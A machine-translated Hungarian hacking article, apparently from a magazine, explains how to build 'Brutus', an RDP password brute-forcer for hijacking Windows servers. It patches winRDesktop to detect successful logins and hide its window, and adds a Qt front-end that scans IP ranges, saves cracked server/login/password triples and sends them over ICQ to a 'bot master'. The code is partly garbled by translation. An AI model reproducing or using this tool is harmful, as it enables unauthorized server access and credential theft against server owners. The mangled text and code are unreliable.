Brutus Dedik egy új, friss szemléletű programozás RDP-brutforserovs
Ezek a napok, mindenki próbálja Brutus Dedik - a jó, eszközei ebben az esetben van írva elég. A legismertebb TSS-brute Fém- és ActiveX-alapú brute force, az elején az evolúció, hogy mi tesz Dizz'om tavaly. Minden más brute force alapján a két - első, hogy endami TSS-brute (RDP Brute által Dizz) vagy klónok én R # 038; D P Brute. Ebben az évben találtam egy új módja annak, hogy elrabol szerverek Windows-on. Szeretnéd megtanulni, hogyan kell - olvasható!
meglévő megoldások
Úgy tűnik, hogy minden rendben van - a sok nyers erő, választ, nem akar, de vannak hátrányai.
kikérdezés
com winRDesktop - rdesktop'a port Windows-on, mint a projekt az MS Visual Studio. Pontosan erre volt szükségem, és elkezdtem átalakítani az ártalmatlan softinkoy vágási brute force. Először azt kell eldönteni, hogyan fog kinézni a prog. Mérlegelése után sok lehetőséget, én rendezik egy dolog - a nyers erő két részből áll:
- Módosított winrdesktop, továbbított bejelentkezési jelszó és a szerver IP. Ő próbál bejelentkezni, és visszaadja az eredményt.
- GUI - front-end, hogy sikerül mindezt jó: bevezeti a többszálas lehetővé teszi, hogy átvizsgálja IP tartományok köszönhetően ICQ munkahely-bot. GUI C ++ és Qt keretrendszer.
Talán van egy kérdés bot - és hogyan hajtják végre, ha tényleg működik alkatrészek ICQ csak a Delphi / BCB? Azt fogja mondani neked egy titkot - van egy Qt-osztályú QOSCAR dolgozni ICQ (írásbeli, mellesleg nekem), és ez található qoscar.googlecode.com. Ez a cikk nem tekinthető írás a bot, minden nagyon egyszerű, és akkor (remélhetőleg), hogy képes legyen kezelni az ügyet maga. Minden kitérő félre, kezd kódot!
A fejlesztők, fejlesztők, fejlesztők!
Hogyan működik a felismerés? Nagyon egyszerű - jön az ügyfél csomag byte byte összehasonlítjuk egy aláírás, és az alapján az alábbi aláírások következtetést a siker / kudarc, amikor kiválasztunk egy jelszót. Például #define LOGON_AUTH_FAILED »\ xfe \ x00 \ x00» jelzi, hogy a jelszó helytelenül adta. A többi állandók akkor kandikál a kódot a lemezen. Az érték a állandók világossá kell tenni a nevét.
Ha nem, akkor miért olvasod ezt? 🙂
Ezután Tapasz protsedurku process_text2 () re orders.c fájlt. Ez az eredmény a felismerés jön egy jelszót. Bár, sőt, nem csak ott - gyakran sikeres bejelentkezés a szerver küld egy csomagot egy üzenetet rajta - PDU_LOGON.
Piece process_text2 ()
if (! memcmp (os-> szöveg, LOGON_AUTH_FAILED, 3))
ExitProcess (2);
if ((! memcmp (os-> szöveg, LOGON_MESSAGE_FAILED_XP, 18)) || (! memcmp (os-> szöveg, LOGON_MESSAGE_FAILED_2K3, 18)))
ExitProcess (3);
Ezt a kódot kell beilleszteni az eljárás kezdetén. Fogom elmagyarázni lépéseket.
rrocess_text2 () dolgozza fel a csomagot, amelyben a szöveg származik a szerver (ami nyilvánvaló a neve), és azt összehasonlítjuk a fogadott szöveges néhány korábban ismert szekvenciák logon'e. Az utolsó lépés - nyitott rdp.c és keresi process_ data_pdu () rutin. Ebben mi érdekel egy darab kezdődő kód «esetében RDP_DATA_PDU_LOGON:». Egyszerűen helyezze be a ExitProcess (4) után. Miért van szükség ExitProcess () - olvasható.
Tehát állítjuk winRdesktop'a veletek rendezni. Ha úgy gondolja, hogy a legnehezebb része mögött - ha mélyen téved. A legnehezebb része még hátra van.
Az első probléma az, hogy meg kellett néznie - a megjelenése az alkalmazás ablak indításkor. Nem kell, így nyugodtan köze ShowWindow SW_HIDE paramétert.
A második probléma - hogyan brute force kommunikálni a külvilággal, akkor tájékoztatni minket az eredmény a csekket? Printf (), és így nem működik írásban a fájlt - ez nem jó. A legegyszerűbb és ugyanakkor megbízható módszer - kérelem kitöltéséhez különböző ExitCode'ami.
Például ExitProcess (4) kerülnek meghívásra a megfelelő jelszót, ExitProcess (2) - ha nem megfelelően és ExitProcess (3) -, amikor egy kísérlet arra, hogy csatlakozzon. Mondta - kész (az eredmény látható process_text2 () a keretes írást). A harmadik probléma, hogy én még nem sikerült megoldani - nefigovoe erőforrás-felhasználás. Ami a jövőt illeti, azt fogja mondani, hogy 30 cargo flow 100% az én CPU MSI Wind U90. Ez kapcsolódik a kicsomagolás bitmap (RDP-szerver erősen összenyomja kép). Vágtam ki az összes (véleményem szerint) a felesleges darab kód kicsomagolás és rajzolás a forma (mit kell felhívni a forma, ha nem látjuk?), Amely lehetővé tette néhány csökkenti az erőforrás-felhasználás, de a probléma még mindig nem oldódott meg. Ha - a hűvös coder C, és akkor képes lesz arra, hogy csökkentse a kicsomagoló étvágyat, ne felejtsük el, hogy tudassa velem :).
A negyedik, és egyben utolsó, a probléma - hiányában csak angol karaktereket betűket és számokat. Taníts brute force, hogy megértsék a cirill ábécét, én még nem sikerült, bár lehet, hogy a jobb - nem szükséges Brutus orosz szerveren :).
Brutus - gui!
Elvileg brute force kész, de ez egyszálú - csakúgy, mint a brute metal'a. Akkor biztosan írni egy batch fájlt futtatni Brutus, de mi hűvös hackerek, azt akarjuk, hogy Brutus Dedik tucat egy nap, és így a kimeneti van egy - az írás front-end.
Ennek eszköze én választottam ... nem divatos most a C #, és a kedvenc (és sokkal ígéretesebb, véleményem szerint) Qt keretrendszer. V] [már írt róla, úgyhogy nem látom értelme leírni minden előnyét. Következő, úgy értem, hogy már tudja, hogyan kell dolgozni ezt a keretet. Ha nem - javasoljuk, hogy olvassa el a hivatalos Qt dokumentáció qt.nokia.com és kötelező - könyv Summerfield és Blanchett (dolgozók Qt Software, az egyik csak foglalkozik a dokumentációt, úgy, hogy a könyv gyönyörű).
Run Qt Creator (Azt tanácsolom, hogy használja pillanatképek - többé nem bugos, mint a stabil verzió, de ez sokkal kényelmesebb, és tartalmazzák az összes jövőbeli innovációk). Tehát egy új GUI-projekt egy widget. Design - magánügy, a screenshot akkor láthatjuk, hogy. mi történt velem.
Már a kezdet kezdetén - egy kis vázlatot egy tervet.
1. A fő stream kezdődik másodlagos áram.
2. A támogatás szál kezd .exe-Schnick, amit írtam korábban, és várja, hogy az eredményt.
3. Amikor a végrehajtása befejeződik brute force, áramlási jelet bocsát ki, amely feldolgozza a fő áramlási a következő vesz felhasználónevét és jelszavát, és továbblép a 2. lépésre.
Kisegítő patakok írtam egy osztály BruteThread, amely valójában nem egy patak, mert nem öröklik a QThread, de csak akkor használja aszinkron módszerek végrehajtunk, hosszú időt vesz igénybe. BruteThread már elkészült az átalakított winRDesktop'a eljárás alkalmazásával objektum osztály QProcess. Class QProcess létre futtatásához külső alkalmazások, és az alkalmazás futtatásához, hogy a kimenetét a konzol (azaz kimenete printf vagy cout, például), és figyelemmel kíséri az állami változási folyamat befejezését. Mi csak az érdekli a dob és a kérelem kiegészítésére vonatkozóan - ha van egy ilyen esemény, a kibocsátott jelek void kezdődött () és a void kész (int kilépési kód) volt. Ügyeljen arra, hogy az utolsó jelzés - ez átadva paraméterként a kódot, amellyel a kérelmet már befejeződött - és ez az opció nagyon hasznos a számunkra.
Mi csak feldolgozni a második jel, majd csúsztassa a kódot láthatjuk a sidebar „Signal onFinished ()».
Ez patak bocsát megfelelő jeleket, és továbblép a következő kombinációt belépés; jelszót. indítsa el a folyamatot maga a következőképpen néz ki:
Kezdve a folyamat Brutus
QStringList slArgs;
slArgs <<"-u" <
iCurrentPassword ++;
Mint látható, a folyamat az érveket küldeni a QStringList, ami nagyon kényelmes :).
És persze ne felejtsük el, hogy csatlakozzon az osztály kivitelező azonnal jelezze a slot:
QObject :: connect (folyamatban SIGNAL (kész (int)),
e, rés (onFinished (int)));
Itt látható a rés a fő stream, a feldolgozási eredmények:
Feldolgozni az eredményeket a fő stream
ha (iResult == 0)
iGood ++;
iChecked ++;
writeResult (QString ( "% 1,% 2,% 3") Arg (sServer.
) Az Arg (suser) Az Arg (sPassword), "good.txt");
oscar.sendMessage (settings.botMaster (),
QString ( "% 1,% 2,% 3") Arg (sServer) Az Arg (suser).
.Arg (sPassword));
if (trayIcon.isVisible ())
trayIcon.showMessage ( "jó",
QString. ( "% 1,% 2,% 3") Arg (sServer) Az Arg (
suser) Az Arg (sPassword));
>
más
ha (iResult == -1)
Ibad ++;
iChecked ++;
>
Ez az! A többit meg kell befejezni magát, és ha nem - nyugodtan nézd meg a forráskódot a lemezen. Csak ne reméljük, hogy meg tudja nyitni a projekt, változtassa meg a nevét a gombok, és keresni egy Hammer, értékesítési új brut - mégis van néhány alapvető trükköt, és ha szkriptkölykök, a projekt össze nem sikerül. Nos, ha tudja, hogyan kell legalább alapszintű C, azt hiszem, a probléma, hogy nem veszi :).
Ezzel a döntéssel, jöttem fel egy tömeges újrafordítására én R # 038; DP Brute után üzembe néhány forráskódját, shkolotoy (nem tévesztendő össze a diákok!), Aki a legkisebb probléma elkövetése szexuális aktust agyamat ( „És én nem az a verzió mstscax .dll, mit kell tenni ?? "" mit jelent ShowMessage (). »). Az egyik az egyének, az úton, aki elismerte, hogy brain.dll hands.lib és nem rendelkezik (kösz sslBot napló neighing a szív). Nos, elkalandozik.
Összesen van két probléma marad, amelynek eltávolítása adtam néktek:
- erőforrás-felhasználás.
- Cirill (csupán a sportot, ismétlem - nem Brutus orosz szerver).
Ebben nézzük íj. Sikeres kódolás!
onFinished jelet ()
if (kilépési kód> 666)
bocsátanak onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
kilépési kód);
bocsátanak ki onDoneServer (e);
return;
>
kapcsolót (kilépési kód)
esetében 666: // Error
bocsátanak ki onDoneServer (e);
return;
case 0: // Nemtom
bocsátanak onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
true);
if (bSkipZero)
bocsátanak ki onDoneServer (e);
return;
>
break;
4. eset: // Jó!
bocsátanak onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
0);
bocsátanak ki onDoneServer (e);
return;
5. eset: // Túl Hood
bocsátanak onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
0);
bocsátanak ki onDoneServer (e);
return;
alapértelmezett: // Bad
bocsátanak onServerResult (sServer,
slLogins.at (iCurrentLogin),
slPasswords.at (iCurrentPassword-1),
-1);
break;
>
nextPassword ();
köszönöm
Szeretnék köszönetet mondani a következő személyeknek segítséget írása során Brutus:
- fém aka DeX - az ő segítségével a C / C ++, és valóban egy csodálatos ember, mindig segít!
- .megsütjük - Ha segítségre van protokoll OSCAR,
- Membury forum.asechka.ru - tesztelésre és támogatást.
- xo0x.art, vitalikis,
- Maxim Sundagy Blinenkova - a C / C ++,
- Barbara «Miracle» Jachmeneva - erkölcsi támogatást :)
- És persze, a szüleim :).